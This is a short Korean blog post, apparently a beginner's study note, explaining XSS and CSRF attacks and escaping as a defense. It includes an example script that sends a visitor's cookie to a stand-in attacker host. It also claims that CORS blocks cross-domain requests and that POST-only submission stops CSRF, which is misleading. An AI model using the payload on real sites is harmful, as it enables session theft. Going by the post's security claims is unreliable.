유물

<보안> XSS, CSRF

디벅잉 2022. 4. 11. 17:37
728x90

 

🎯

 

XSS, CSRF 모두 스크립팅 공격의 일종

 

XSS

크로스 사이트 스크립팅(Cross-Site Scripting)의 약자입니다.

웹 사이트의 방문자가 글을 남겨서 글을 읽는 사람들에게 공격을 가하게 됩니다.

따라서 방문자가 웹사이트를 신뢰하는 경우에 발생합니다.

예를 들어 블로그에 글을 쓴다고 했을 때 글 내용 중에 script를 삽입할 수 있습니다.

사용자가 해당 글을 읽었을 때 아래와 같은 코드라면 문제가 없겠지만...

<script>alert("Attack!");</script>

아래와 같은 경우라면 쿠키에 저장되어 있는 세션 아이디가 탈취당할 수 있습니다.

<script>
    let xmlHttp = new XMLHttpRequest();
    const url = "http://hackerServer.com?victimCookie="+document.cookie);
    xmlHttp.open("GET", url);
    xmlHttp.send();
</script>

하지만 모던 웹에서는 CORS를 제한하기 때문에 현재 사이트에서 다른 도메인의 사이트로 요청하는 것이 불가합니다!

혹시나 옛날옛적 브라우저를 쓰고 계시다면 최신 브라우저 사용을 추천드립니다.

 

CSRF

Cross-Site Request Forgery(교차 사이트 요청 위조?)의 약자입니다.

웹 사이트의 방문자가 글을 남겨서 글을 읽는 사람들의 특정 행동을 유발하도록 합니다.

글을 읽은 사람이 자기도 모르게 특정 행동을 하게 할 수 있습니다.

특정 행동이란 게시글 등록부터 결제까지 다양합니다.

웹사이트(서버)가 방문자를 신뢰하는 경우에 발생합니다.

포스트 방식으로만 게시글을 등록하게 하는 등의 방어법이 필요합니다.

 

공통 대응방안

script와 관련된 특수기호 "<", ">" 등을 escape 처리해서 plain text로 보이도록 합니다.

라이브러리, 웹 프레임워크가 제공하는 기능을 사용하는 것이 대응하기 편합니다.

 

📌

https://www.youtube.com/watch?v=LfI6TAchgT4 

https://www.youtube.com/watch?v=nzoUgKPwn_A 

 

웹 사이트 보안 공격 (XSS, CSRF)

지피지기면 백전백승이라 하였으니

velog.io

 

728x90